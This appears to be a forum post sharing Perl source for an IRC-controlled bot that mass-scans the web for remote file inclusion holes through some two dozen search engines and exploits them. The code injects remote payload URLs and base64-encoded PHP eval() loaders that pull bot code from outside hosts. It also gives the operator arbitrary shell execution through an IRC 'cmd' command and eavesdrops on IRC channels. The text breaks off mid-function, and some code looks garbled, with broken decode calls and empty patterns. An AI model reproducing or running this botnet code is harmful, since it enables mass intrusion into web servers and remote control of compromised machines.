13 Years of Service
24%
vodoo RFI Scanner Bot v100
Code:
>#!/usr/bin/perlprint('################################### vodoo RFI Scanner Bot v100 ## By baby bin Rema ## Editing Tahun 2011-2012 ###################################');use strict;use IO::Socket::INET;use LWP::UserAgent;use HTTP::Request;my $versi = "baby";my $cmdpre = "."; #Command Prefix##[ KONFIGURASI URL ]##my $zfxid = "http://myheart82.mobie.in/1.jpg?"; #zFxID1 (Simple) / #Fx29ID2 (Advanced)my $zfxid2 = "http://myheart82.mobie.in/2.jpg?"; #zFxID2 (Advanced)my $fx29sh = "[sHeLL]??"; #Fx29Sh (Optional)my $bypass = "http://www.ekosystem.org/googlerz.php?"; #Google Bypasserz (Optional)my $pbot = "http://www.hackorea.com/s.txt??"; #phpbot (Optional)my $thebot = "http://www.hackorea.com/x.txt??"; #phpbot2 (Optional)my $cbot = "PHP Code:echo(basedecode("Voo\").php_uname().bas4_decode(\"Doo\"));eval(ba64_decode(\"aHR0cDovL3d3dy5oYWNrb3JlYS5jb20vcy50eHQ=\"));;die(); "; #phpbot3 (Optional)my $botscan = "http://myheart82.mobie.in/scan.txt??"; #botscanloader (Optional)my $botedan = "http://www.hackorea.com/crot.txt??"; #botedanloader (Optional)##[ KONFIGURASI SOURCE ]##my $mysite = "http://www.hackorea.com/"; #Path to Sources URL (Optional)my $spread = "PHP Code:echo(ba4_decode("Voo\").php_uname().ba_decode(\"Doo\"));eval(ba_decode(\"aHR0cDovL3d3dy5oYWNrb3JlYS5jb20veC50eHQ=\"));;die(); "; #ZFxSpreadz (Optional)my $joomlaz = $mysite."joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)##[ KONFIGURASI IRC ]##my @servers = ("irc.indoirc.org");my %bot = ( nick => "baby".int(rand(100))."", ident => "re".int(rand(100)), chan => "#babyirc", server => $servers[rand(scalar(@servers))], port => "6667");##[ KONFIGURASI USER #### cryptz: 0 = Not Encrypted, 1 = Encryptedmy %boss = ( Rema => { pass => "hay", status => "admin", cryptz => 0, login => 0 },);##[ KONFIGURASI SPY ]##my %spy = ( host => "", chanz => [""], wordz => ['http:\/\/.*[=]'], foundz => []);##[ KONFIGURASI BOT ]#### Options: 0 = Disable, 1 = Enablemy %conf = ( showsite => 0 , #Show link to debug channel (Yes/No) linez => 5, #Lines per message sleepz => 5, #Message delay per linez (seconds) rfipid => 75, #Sites per proccess rficnt => 100, #Counter setting rficnt2 => 100, #Counter setting timeout => 4, #Http socket time out);##[ KONFIGURASI WARNA ]##my %colz = ( 1 => " [=] " , => " [x]", #Header 3 => "" , => "", #Proses);##[ PARAMETER BARIS PERINTAH ]##$bot{chan} = "#".$ARGV[0] if $ARGV[0];$bot{server} = $ARGV[1] if $ARGV[1];$bot{port} = $ARGV[2] if $ARGV[2];##[ INISIALISASI VARIABEL ]##my $chanx = "#baby"; #2nd Channel to show the results of vurnerable sitemy $dbgchan = ""; #For debugging purposes (Optional)my @chans = ($bot{chan});my @badbugz = ("scan","bug"); #Bad bugs to cancel scanningmy @baddorkz = ("dork"); #Bad dorks to cancel scanningmy $keluar = 0;my $sock;##[ KONFIGURASI LOCALTESTING ]##my $tez = $ARGV[3];if ($tez == 1) { $zfxid = "http://myheart82.mobie.in/1.jpg?"; $zfxid2 = "http://myheart82.mobie.in/2.jpg?"; $fx29sh = "http://www.hackorea.com/nenk.txt??";}##[ PROGRAM UTAMA ]##if (fork() == 0) { while ($keluar != 1) { irc_connect(); } die("KeLuaR!"); }##[ SUBRUTIN KONEKSI IRC ]##sub irc_connect { $sock = IO::Socket::INET->new(PeerAddr => $bot{server}, PeerPort => $bot{port}, Proto => 'tcp') or die "Ga bisa connect ke ".$bot{server}.":".$bot{port}."\r\n"; $sock->autoflush(1); irc_nick($bot{nick}); irc_user($bot{ident}); my ($baris,$hb); my $loginboss = 0; my $userstat = ""; while ( $baris = ) { $hb++; ##[ PARSING ]## my $com; my $me = $bot{nick}; my ($fcom,$dteks,@teks) = split(/\s+:/,$baris); my ($duhost,$dcom,$dtarget) = split(/ /,$fcom); my ($dnick,$dhost) = split(/!/,$duhost); $dcom = "" unless ($dcom); $dtarget = "" unless ($dtarget); $dnick =~ s/://; $dteks = trimrn($dteks); if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; } #print $baris."\n$dnick | $dcom | $dtarget : $dteks\n"; ##[ CEK USER ]## if ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); } else { ($loginboss,$userstat) = (0,""); } ##[ RESPON KE SERVER ]## if ($dnick =~ /PING/) { irc_raw("PONG $dteks"); } if ($dcom =~ /001/) { irc_join($chanx); foreach my $c (@chans) { irc_join($c); } } elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!"); } } ##[ PERINTAH PUBLIK ]## if (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; } if ($com =~ /^help$/) { bot_help($dtarget,1); } elsif ($com =~ /^info$/) { bot_info($dtarget); } elsif ($com =~ /^gaebot\s+(http:\/\/.*[=])/) { gae_bota($dtarget,$dnick,$1); } elsif ($com =~ /^gaebotendel\s+(http:\/\/.*[=])/) { gae_botb($dtarget,$dnick,$1); } elsif ($com =~ /^gaebotping\s+(http:\/\/.*[=])/) { gae_botc($dtarget,$dnick,$1); } elsif ($com =~ /^upbot\s+(http:\/\/.*[=])/) { gae_botm($dtarget,$dnick,$1); } elsif ($com =~ /^enter\s+(http:\/\/.*[=])/) { entered($dtarget,$dnick,$1); } elsif ($com =~ /^gaebotscan\s+(http:\/\/.*[=])/) { gaescan($dtarget,$dnick,$1); } elsif ($com =~ /^gaebotedan\s+(http:\/\/.*[=])/) { gaeruwet($dtarget,$dnick,$1); } elsif ($com =~ /^respon/) { cek_respon($dtarget); } elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); } elsif ($com =~ /^url(en|de)\s+(.*)/) { my $url = $2; my $en; if ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); } elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); } msgi($dtarget,"URL $en", $url); } elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); } elsif ($com =~ /^power\s+(.*)/ && $boss{$dnick}) { my $pass = $1; my $auth = $boss{$dnick}{"login"}; if ( $pass && $auth == 0 ) { if ($pass eq $boss{$dnick}{"pass"}) { $boss{$dnick}{"login"} = 1; irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!"); } else { irc_ntc($dnick,"Error!"); } } else { if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); } else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } } } if ($dtarget && $dtarget ne $me) { if (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit; } if (($com =~ /^autoscan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { a_scanz($dtarget,$1,$2,$hb,1); exit; } elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; } } ##[ END OF PUBLIC ]## ##[ PERINTAH USER ]## if ($loginboss == 1) { if ($com =~ /^help/) { bot_help($dtarget,2); } elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); } elsif ($com =~ /^part\s+(.*)/) { my $pchan = $1; irc_part($1); for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } } } elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); } elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); } elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); } elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); } elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; } elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } } elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) { my ($t,$nf,$q) = ($1,$2,$3); my $h; if ($t == 1) { $h = bukasitus($q); } elsif ($t == 2) { $h = bukasitus2($q); } else { $h = bukasitus3($q); } f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf); } elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) { my $n = $1; my $q = bukasitus($2); my $regex = $3; if ($n ==1) { if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); } while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); } } else { while ($q =~ m/http:\/\/(.*?)/g) { irc_msg($dtarget,$2); sleep(1); } } } } ##[ END OF USER ]## ##[ PERINTAH ADMIN ]## if (($loginboss == 1) && ($userstat eq "admin")) { if ($com =~ /^help/) { bot_help($dtarget,3); } elsif ($com =~ /^rahasia/) { bot_help($dtarget,4); } elsif ($com =~ /^gojoin\s+(.*)/) { irc_join($1); push(@chans,$1); } elsif ($com =~ /^gopart\s+(.*)/) { my $pchan = $1; irc_part($1); for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } } } elsif ($com =~ /^gonick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); } elsif ($com =~ /^rfiproses\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); } elsif ($com =~ /^minggat/) { irc_quit("Good Bye!"); $keluar = 1; exit; } elsif ($com =~ /^reonline/) { irc_quit("Restarted proses!"); } elsif ($com =~ /^explo\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); } elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); } elsif ($com =~ /^csp\s+(.*)/) { $spread = $1; msgi($dtarget,"Injector Spread",$spread); } elsif ($com =~ /^chanhasil\s+(.*)/) { $chanx = $1; msgi($dtarget,"Chan Hasil Target ",$chanx); } elsif ($com =~ /^goid(1|2)\s+(.*)/) { my ($n,$url) = ($1,$2); if ($n == 1) { $zfxid = $url; } elsif ($n == 2) { $zfxid2 = $url; } msgi($dtarget,"Respon $n RFI",$url); } elsif ($com =~ /^urlbot(1|2|3)\s+(.*)/) { my ($n,$url) = ($1,$2); if ($n == 1) { $pbot = $url; } elsif ($n == 2) { $thebot = $url; } elsif ($n == 3) { $cbot = $url; } msgi($dtarget,"- x - Change Bot url $n Tranforms ",$url); } elsif ($com =~ /^urlcetak(1|2)\s+(.*)/) { my ($n,$url) = ($1,$2); if ($n == 1) { $botscan = $url; } elsif ($n == 2) { $botedan = $url; } msgi($dtarget,"- x - Change url Mesin Cetak $n Tranforms ",$url); } elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans); } ##[ PERINTAH SPY ]## elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); } elsif ($com =~ /^spy(found|show|clear)$/ ) { my $n = $1; if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); } elsif ($n eq "show") { my $i = 0; for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); } $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); } } elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); } else { msge($dtarget,"Spy","PeRinTah SaLah!"); } } elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); } elsif ($com =~ /^spychan\s+(.*)/ ) { unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); } else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); } } elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); } ##[ END OF PERINTAH SPY ]## elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; } elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); } elsif ($com =~ /^cspread\s+(.*)/) { my $url = $1; $spread = $url; msgi($dtarget,"Spread RFI",$spread); } elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) { $boss{$1}{pass} = "fx"; $boss{$1}{status} = $2; $boss{$1}{login} = 0; $boss{$1}{cryptz} = 0; ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status}); msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass}); } elsif ($com =~ /^eval\s+(.*)/) { eval($1); } elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) { my $cmd = $1; if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; } my @output = `$cmd`; my $i = 0; foreach my $out (@output) { $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); } irc_msg($dtarget,"$out"); } exit; } } ## END OF ADMIN ## ##[ MATA-MATA ]## if ($dtarget ne $spy{"host"}) { my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}}; if ($is_spychan == 1) { for my $t (@{$spy{"wordz"}}) { if ($dteks =~ /$t/) { msgi($spy{"host"},"!",$dteks); sleep(1); push @{ $spy{"foundz"} }, $dteks; } } } } ##[ END OF MATA-MATA ]## } ## END WHILE ##}## END KONEK #############################[ RUTIN EKSPLOITASI ]###########################sub s_scanz { my ($to,$bug,$dork,$sb,$type) = @_; $sb = "Fx".$sb.".txt"; $dork = bersihdork($to,$dork); my %typez = ( 1 => "RFI ScaNneR", 2 => "RFI ScaN & ExpLoiT", 3 => "JooMLa MaSs ScaN & ExpLoiT" ); my $badbug = cek_bug($bug); if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; } my $baddork = cek_dork($dork); if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; } if ($type == 3) { my $h = bugjoomla("hitung"); if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; } } irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2}); my $stat = cek_respon($to); if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; } irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai! ".$conf{rfipid}."/PID ID: $sb".$colz{2}); irc_msg($to,$colz{1}."BuGz: $bug ") if ($type != 3); irc_msg($to,$colz{1}."DoRkz: $dork "); s_cari($to,$dork,$sb,$bug,$type); s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1); irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai! $dork ID: $sb".$colz{2}); return;}sub a_scanz { my @domini = &SiteDomains(); my ($to,$bug,$dork,$sb,$type) = @_; $sb = "Fx".$sb.".txt"; $dork = bersihdork($to,$dork); my %typez = ( 1 => "Auto RFI ScaNneR Domains", 2 => "RFI ScaN & ExpLoiT", 3 => "JooMLa MaSs ScaN & ExpLoiT" ); my $badbug = cek_bug($bug); if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; } my $baddork = cek_dork($dork); if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; } if ($type == 3) { my $h = bugjoomla("hitung"); if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; } } foreach my $Domains(@domini){ irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2}); my $stat = cek_respon($to); if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; } irc_msg($to,$colz{1}."".$typez{$type}." Start! ".$conf{rfipid}."/PID ID: $sb".$colz{2}); irc_msg($to,$colz{1}."-=X=- Auto Scan Domain Dijalankan Please Waiting For it !!!-=X=-"); my $auto_dork = $dork." site:".$Domains; irc_msg($to,$colz{1}."BuGz: $bug ") if ($type != 3); irc_msg($to,$colz{1}."DoRkz: $auto_dork "); s_cari($to,$auto_dork,$sb,$bug,$type); s_eksploit(1,$to,$bug,$auto_dork,$sb) if ($type == 1); irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai! $auto_dork ID: $sb".$colz{2}); }}sub s_eksploit { #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla #Engine: Kosong = Eksploit total, Ada = Eksploit per engine my ($type,$chan,$bug,$dork,$tf,$engine) = @_; my @prosesbaru; my @semuatarget; my $hitung; my $num = 0; my @bugjoomla = bugjoomla($chan) if ($type == 3); unless (open(FILEZ,") { $r =~ s/\n//g; push(@semuatarget,$r); } close(FILEZ); f_hapus($tf); my @target = lnk_sortir(@semuatarget); if (!$engine) { irc_msg($chan,$colz{1}."HaSiL Penyelidikan $dork".$colz{2}); irc_msg($chan,$colz{1}."ToTaL: ".scalar(@semuatarget)." BeRsih: ".scalar(@target)." ID: $tf".$colz{2}." ".$colz{1}."ExpLoiTaSi DiMuLai!".$colz{2}); } foreach my $situs (@target) { $hitung++; if ($hitung % $conf{rfipid} == 0) { foreach my $f (@prosesbaru) { waitpid($f,0); } $num = 0; } if ($type != 1 && $hitung % $conf{rficnt2} == 0) { irc_msg($chan,"$engine ".$hitung." [X] ". scalar(@target). " "); } if ($type == 1 && $hitung % $conf{rficnt} == 0) { irc_msg($chan,$colz{3}.$hitung." : ".scalar(@target).$colz{4}); } $prosesbaru[$num] = fork(); if ($prosesbaru[$num] == 0) { if ($type != 3) { my $q = bukasitus("http://".$situs.$bug.$zfxid."?"); if ($q =~ /ShiroHige/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); } } else { foreach my $bug (@bugjoomla) { my $q = bukasitus("http://".$situs.$bug.$zfxid."?"); if ($q =~ /ShiroHige/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); } } } exit(0); } $num++; } foreach my $f (@prosesbaru) { waitpid($f,0); } if ($engine) { irc_msg($chan,"$engine FiNizZ! "); }}#############################[ RUTIN SEARCH ENGINE ]############################################################################### GOOGLE : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple #### YAHOO : AltaVista, AlltheWeb, GoodSearch, *Rectifi #### LIVE : *A9.com, *Ms.Dewey, *Tafiti #### ASK : *iWon, Lycos #### LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma, #### Virgilio, Webcrawler, Webde #### * Not implemented yet###########################################################################sub s_cari { #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla my ($chan,$dork,$nf,$bug,$type) = @_; my @engz; my $key = $dork; $dork = urlen($key); $engz[0] = fork(); if ($engz[0] == 0) { s_engine("google", "Google" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[1] = fork(); if ($engz[1] == 0) { s_engine("netscape", "Netscape" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[2] = fork(); if ($engz[2] == 0) { s_engine("yahoo", "Yahoo" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[3] = fork(); if ($engz[3] == 0) { s_engine("live", "Live" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[4] = fork(); if ($engz[4] == 0) { s_engine("google2", "Google2" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[5] = fork(); if ($engz[5] == 0) { s_engine("altavista", "Altavista" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[6] = fork(); if ($engz[6] == 0) { s_engine("alltheweb", "AllTheWeb" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[7] = fork(); if ($engz[7] == 0) { s_engine("goodsrch", "GoodSearch" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos", "Lycos" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol", "Uol" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[10] = fork(); if ($engz[10] == 0) { s_engine("virgilio", "Virgilio" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[11] = fork(); if ($engz[11] == 0) { s_engine("webde", "Web.de" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[12] = fork(); if ($engz[12] == 0) { s_engine("clusty", "Clusty" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[13] = fork(); if ($engz[13] == 0) { s_engine("hotbot", "Hotbot" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[14] = fork(); if ($engz[14] == 0) { s_engine("ask", "Ask" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[15] = fork(); if ($engz[15] == 0) { s_engine("aol", "AOL" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[16] = fork(); if ($engz[16] == 0) { s_engine("search_com", "Search" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[17] = fork(); if ($engz[17] == 0) { s_engine("exalead", "Exalead" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[18] = fork(); if ($engz[18] == 0) { s_engine("tiscali", "Tiscali" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[19] = fork(); if ($engz[19] == 0) { s_engine("rediff", "Rediff" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[20] = fork(); if ($engz[20] == 0) { s_engine("webcrawl", "WebCrawler" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[21] = fork(); if ($engz[21] == 0) { s_engine("abacho", "abacho" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[22] = fork(); if ($engz[22] == 0) { s_engine("dmoz", "dmoz" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[23] = fork(); if ($engz[23] == 0) { s_engine("mamma", "mamma" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[24] = fork(); if ($engz[24] == 0) { s_engine("euroseek", "euroseek" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[25] = fork(); if ($engz[25] == 0) { s_engine("fireball", "fireball" ,$type,$chan,$bug,$dork,$nf); exit; } $engz[26] = fork(); if ($engz[26] == 0) { s_engine("gigablast", "gigablast" ,$type,$chan,$bug,$dork,$nf); exit; } foreach my $e (@engz) { waitpid($e,0); }}sub s_engine { my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_; my @hc; if ($f eq "google" ) { @hc = se_google($chan,$dork,$ef); } elsif ($f eq "google2" ) { @hc = se_google_m($chan,$dork,$ef); } elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan,$dork,$ef); } elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); } elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); } elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); } elsif ($f eq "lycos" ) { @hc = se_lycos($chan,$dork,$ef); } elsif ($f eq "live" ) { @hc = se_live($chan,$dork,$ef); } elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan,$dork,$ef); } elsif ($f eq "aol" ) { @hc = se_aol($chan,$dork,$ef); } elsif ($f eq "ask" ) { @hc = se_ask($chan,$dork,$ef); } elsif ($f eq "search_com") { @hc = se_search_com($chan,$dork,$ef); } elsif ($f eq "exalead" ) { @hc = se_exalead($chan,$dork,$ef); } elsif ($f eq "tiscali" ) { @hc = se_tiscali($chan,$dork,$ef); } elsif ($f eq "rediff " ) { @hc = se_rediff($chan,$dork,$ef); } elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); } elsif ($f eq "webde" ) { @hc = se_webde($chan,$dork,$ef); } elsif ($f eq "uol" ) { @hc = se_uol($chan,$dork,$ef); } elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); } elsif ($f eq "clusty" ) { @hc = se_clusty($chan,$dork,$ef); } elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); } elsif ($f eq "abacho" ) { @hc = se_abacho($chan,$dork,$ef); } elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); } my @cl = lnk_sortir(@hc); msgr($chan,$se,scalar(@hc),scalar(@cl)); if (scalar(@cl) == 0) { exit; } if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } } else { my $ef2 = $f.$ef; foreach my $e (@cl) { f_simpan($ef2,$e); } if ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); } elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); } }}##[ GOOGLE ]##sub se_google2 { my ($chan,$key,$nf,$proxy) = @_; my @daftar; my $num = 50; my $max = 5000; my $p = 0; my $url = "http://www.google.fr/search?q=".$key."&num=".$num."&filter=0&start=".$p; my $murl = "http://www.google.fr"; my $nxurl; my $q = bukasitus22($url,$proxy); if ( $q =~ /dari sekitar (.+?)/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."Google",$colz{13}." $h"); } if ( $q =~ /class=\"b\">/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Google","$nxurl");} } while ( $q =~ m/(.+?)/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Google",$colz{6}." $h"); } if ( $q =~ /class=b>/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Google","$nxurl");} } while ( $q =~ m// ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Google.".$dom,$nxurl);} msgn($chan,$colz{3}."Google.".$dom,$colz{7}."LaGi NyAri.."); } while ( $q =~ m/
.*? of(.*?) for/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Yahoo",$colz{6}." $h"); } if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,$colz{3}."Yahoo",$colz{5}."Banned!"); } if ( $q =~ /Next/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Yahoo","$nxurl");} } while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); } while ( $q =~ /Next/ ) { $p++; if ( $p > $max ) { return @daftar; } $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); } } return @daftar;}##[ ALTAVISTA ]##sub se_altavista { my ($chan,$key,$nf) = @_; my @daftar; my $num = 100; my $max = 500; my $p; my $url = "http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p; my $murl; my $nxurl; my $q = bukasitus($url); if ( $q =~ /Next/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Altavista","$nxurl");} } while ( $q =~ m/(.*?) /g ) { push (@daftar, $1); } while ( $q =~ /Next/ ) { $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m/(.*?) /g ) { push (@daftar, $1); } } return @daftar;}##[ ALLTHEWEB ]##sub se_alltheweb { my ($chan,$key,$nf) = @_; my @daftar; my $num = 100; my $max = 20; my $p = 1; #my $url = "http://localhost/search/www.alltheweb.com.htm"; my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p; my $murl; my $nxurl; my $q = bukasitus($url); if ( $q =~ /(.+?)/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."AllTheWeb",$colz{6}." $h"); } if ( $q =~ /Next/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"AllTheWeb","$nxurl");} } while ( $q =~ m/http:\/\/(.+?)/g ) { push (@daftar, $1); } while ( $q =~ /Next/ ) { $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m/http:\/\/(.+?)/g ) { push (@daftar, $1); } } return @daftar;}##[ GOODSEARCH ]##sub se_goodsearch { my ($chan,$key,$nf) = @_; my @daftar; my $num = 0; my $max = 300; my $p = 1; #my $url = "http://localhost/search/www.goodsearch.com.html"; my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num; my $murl = "http://www.goodsearch.com/"; my $nxurl; my $q = bukasitus($url); if ( $q =~ /of about (.+?)/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."GoodSearch",$colz{6}." $h"); } if ( $q =~ m/Next/g ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"GoodSearch","$nxurl");} } while ( $q =~ m//g ) { push (@daftar, $2); } for ($p=2;$p/g ) { push (@daftar, $2); } if ( $q !~ m//g ) { return @daftar; } } return @daftar;}##[ UOL ]##sub se_uol { my ($chan,$key,$nf) = @_; my @daftar; my $num = 10; my $max = 5000; my $p; #my $url = "http://localhost/search/busca.uol.com.br.htm"; my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key.""; my $murl = "http://busca.uol.com.br"; my $nxurl; my $q = bukasitus($url); if ( $q =~ /results\">(.+?)/ ) { my $h = $1; $h =~ s/,//g; 